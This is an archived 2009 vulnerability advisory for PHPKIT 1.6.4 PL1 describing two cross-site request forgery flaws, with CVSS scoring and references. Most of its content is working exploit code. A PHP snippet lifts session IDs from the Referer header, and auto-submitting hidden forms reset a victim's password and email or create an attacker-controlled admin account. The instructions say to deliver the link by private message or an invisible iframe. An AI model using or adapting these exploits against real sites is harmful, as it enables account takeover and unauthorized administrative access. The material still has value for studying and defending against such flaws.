PHPKIT 1.6.4 PL1 2 XSRF Vulnerabilities

2009.09.11
Credit: nbbn
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

###### PHPKIT 1.6.4 PL1 2 XSRF Vulnerabilites founded by NBBN ###### Vendor: http://www.phpkit.de/ PHPKIT sends in all link in the forum the sessionid via GET. So if an attacker send a link to a victim, for example in a private message, he have the sessionid if he filter the Referer: ******************* <?php * $ref = $_SERVER['HTTP_REFERER']; // Here is the referer * $sid = substr($ref,strpos($ref,'PHPKITSID=')+10,32); // Now the atttacker have the sessionid. ?> * ******************* ::Vulnerabilites: There are two vulnerabilities(there more XSRF, but the principle is the same) 1) Update User Profile XSRF (don't ask for current password) 2) Create an admin XSRF 1) <?php /*############ PHPKIT 1.6.4 PL1 Change User-Profile Vulnerability founded by NBBN. Founded on 26th, January 2008. ########### With this XSRF Exploit an attacker can change the profile of an user. PHPKIT sends in all link in the cms the sessionid of the user. And in the profile, don't ask for the old password, so we can change, if we have the sessionid the users password, email etc. But where we become the sessionid? This is easy, we must only filter the referer and then submit the form. Usage: Create a php file with this code, upload it and send a pm to the victim with this link. If victim click -> profile updated. Better is to create a site an then this code in a invisible iframe*/ $ref = $_SERVER['HTTP_REFERER']; // Here is the referer $sid = substr($ref,strpos($ref,'PHPKITSID=')+10,32); ?> <html> <head></head> <body onLoad="javascript:document.form.submit()"> <form action="http://localhost/xampp/phpkit/upload_files/include.php?path=user profile&mode=edit" method="POST" name="form"> <input type="hidden" name="PHPKITSID" value=<?php $sid ?> > <!-- Here is our sessionid getting from the referer --> <input type="hidden" name="ud_nick" value="Admin"> <!-- Enter here the victims username --> <input type="hidden" name="ud_newpw1" value="Pw"> <!-- Define a new password --> <input type="hidden" name="ud_newpw2" value="Pw"><!-- Dito --> <input type="hidden" name="ud_email" value="email (at) provider (dot) tld [email concealed]"> <!-- Here you can define a new e-mail address --> <input type="hidden" name="ud_emailshow" value="1"> <input type="hidden" name="ud_sex" value="d"> <input type="hidden" name="user_bd_day" value="0"> <input type="hidden" name="user_bd_month" value="0"> <input type="hidden" name="user_bd_year" value="0"> <input type="hidden" name="ud_country" value="def"> <input type="hidden" name="ud_hpage" value=""> <input type="hidden" name="ud_aimid" value=""> <input type="hidden" name="ud_yim" value=""> <input type="hidden" name="ud_icqid" value=""> <input type="hidden" name="ud_usersig" value=""> <input type="hidden" name="ud_userqou" value=""> <input type="hidden" name="ud_userhobby" value=""> <input type="hidden" name="action" value="Speichern"> <input type="hidden" name="save" value="Speichern"> </form> </body></html> 2) Create admin IMPORTENT: This works only if the admin was logged in the admincp before he click the link from the attacker. <?php $r = $_SERVER['HTTP_REFERER']; $sid = substr($r,strpos($r,'PHPKITSID=')+10,32); ?> <html> <head> </head><body onLoad=javascript:document.edituser.submit()> <form name="edituser" method="post" action="http://localhost/xampp/phpkit/upload_files/pk/include.php?path=u seredit&editid=new"><input type="hidden" name="PHPKITSID" value=<?php $sid ?> /> <input type="hidden" name="editid" value="new"> <input type="text" size="25" name="edit_name" value="OIW" maxlength="50" class="w90" /> <!-- Username --> <input type="text" size="25" name="edit_nick" value="OIW" maxlength="50" class="w90" /> <!-- username--> <input type="password" name="edit_password" size="25" class="w90" value="Password" /> <!-- A password --> <input type="hidden" name="edit_status" value="admin"> <!-- Status --> <input type="hidden" name="edit_groupid" value="0"> <input class="checkbox" type="checkbox" name="edit_activate" value="1" checked /> <input class="checkbox" type="checkbox" name="edit_profillock" value="1" /> <input type="text" size="25" name="edit_email" value="mail (at) mail (dot) tld [email concealed]" > <!-- Email --> <input type="hidden" name="edit_notify" value="1" /></td> <input type="hidden" name="action" value="Speichern" /> <input type="hidden" name="save" value="Speichern"> </form> </body></html>

References:

http://xforce.iss.net/xforce/xfdb/40033
http://www.securityfocus.com/archive/1/archive/1/487249/100/200/threaded
http://osvdb.org/50998


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top